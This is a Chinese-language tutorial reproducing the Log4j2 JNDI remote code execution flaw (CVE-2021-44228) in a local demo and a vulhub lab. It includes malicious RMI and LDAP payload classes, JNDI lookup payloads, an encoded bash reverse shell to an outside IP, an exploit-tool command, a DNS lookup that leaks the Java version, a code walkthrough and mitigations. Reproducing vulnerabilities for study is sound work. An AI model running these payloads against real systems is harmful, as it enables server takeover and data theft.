Log4j2 漏洞复现
Apache_log4j2(CVE-2021-44228)漏洞复现
Log4j2 介绍
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
漏洞介绍
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用
例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy}
,此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。
影响版本
2.0 <= Apache log4j2 <= 2.14.1
环境搭建
pom.xml
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。这里,我们简单用 xml 的方式来实现,文件如下,默认文件名为log4j2.xml,
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties> <appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile> </appenders> <loggers> <root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root> </loggers></configuration>
然后再写一个实际应用的 demo,比如从数据库获取到了一个 username 为 “admin”,要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${java:os}";
if (username != null ) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}
运行结果,
上面说了 log4j2 会把 ${}
包裹内容进行单独处理,利用 lookup 功能进行查找。Log4j2 内置了多个 Lookup 实现,每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型:
- ${date}:获取当前日期和时间,支持自定义格式。
- ${pid}:获取当前进程的 ID。
- ${logLevel}:获取当前日志记录的级别。
- ${sys:propertyName}:获取系统属性的值,例如 ${sys:user.home} 获取用户主目录。
- ${env:variableName}:获取环境变量的值,例如 ${env:JAVA_HOME} 获取 Java 安装路径。
- ${ctx:key}:获取日志线程上下文(ThreadContext)中指定键的值。
- ${class:fullyQualifiedName:methodName}:获取指定类的静态方法的返回值。
- ${mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。
这里把上面的 admin
替换为 ${sys:user.dir}
,再次运行,
而造成漏洞是因为这里的 lookup 它是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的。
漏洞复现
自己编写一个 RMIServer,
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMI_POC","RMI_POC","http://ip:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("hello",refObjWrapper);
System.out.println("START RUN");
}
public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}
搭建好恶意的 RMI 服务器,并且在远端服务器上放置恶意类,RMI_POC.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
编译为 class 字节码,然后启动 http 监听,
payload:${jndi:rmi://localhost:1099/hello}
,最后成功执行,
然后再在 vulhub 靶场复现一次,搭建好靶场后访问 8983
端口,传入下面 payload 验证漏洞
/solr/admin/cores?action=${jndi:ldap://620de897.log.dnslog.sbs.}
dns 收到请求,
这里打 Ladp,因为是本地搭建的靶场,所以本地搭建 LdapServer 服务,然后在远程端进行 http 监听,远程端的恶意利用类改为反弹 shell 的命令,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class LDAP_POC implements ObjectFactory {
public LDAP_POC() throws Exception{
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
传入 payload,
${jndi:ldap://ip:9999/LDAP_POC}
成功反弹 shell
尝试利用工具来进行攻击,工具下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0,然后构建命令进行监听,
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "47.109.156.81"
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
就是 exec 里面执行的命令,-A 参数是攻击机 ip,
然后根据 jdk 版本选择 payload 传入,这个 jdk 版本可以通过命令 ${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}
进行 dns 外带查看,这里选择 jdk1.8 版本的,
${jndi:ldap://47.109.156.81:1389/nvxwvy}
最后也能成功反弹 shell
漏洞分析
来到 PatternLayout#toSerializable
方法,对 formatters
进行循环处理,
在循环到第七次时,跟进到 format 方法,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在${
,那么就会取出从 $ 开始知道最后的字符串,这一步
最后得到 value 为,
继续跟进 replace()
方法,replace()
方法里面调用了 substitute()
方法,这里就是将 ${} 中间的内容取出来,然后又会调用 this.subtitute
来处理。最后调用到 resolveVariable
方法,
resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器
这个 lookup()
方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 rmi 服务的时候,是调用原生的 lookup()
方法的,是存在漏洞的。
最后成功执行。
漏洞修复
- 更新log4j至 rc2
- 配置防火墙策略,禁止主动连接外网设备
- 升级受影响的应用及组件
- 过滤相关的关键词,比如
${jndi://*}
- 限制JNDI默认可以使用的协议
- 限制可以通过LDAP访问的服务器和类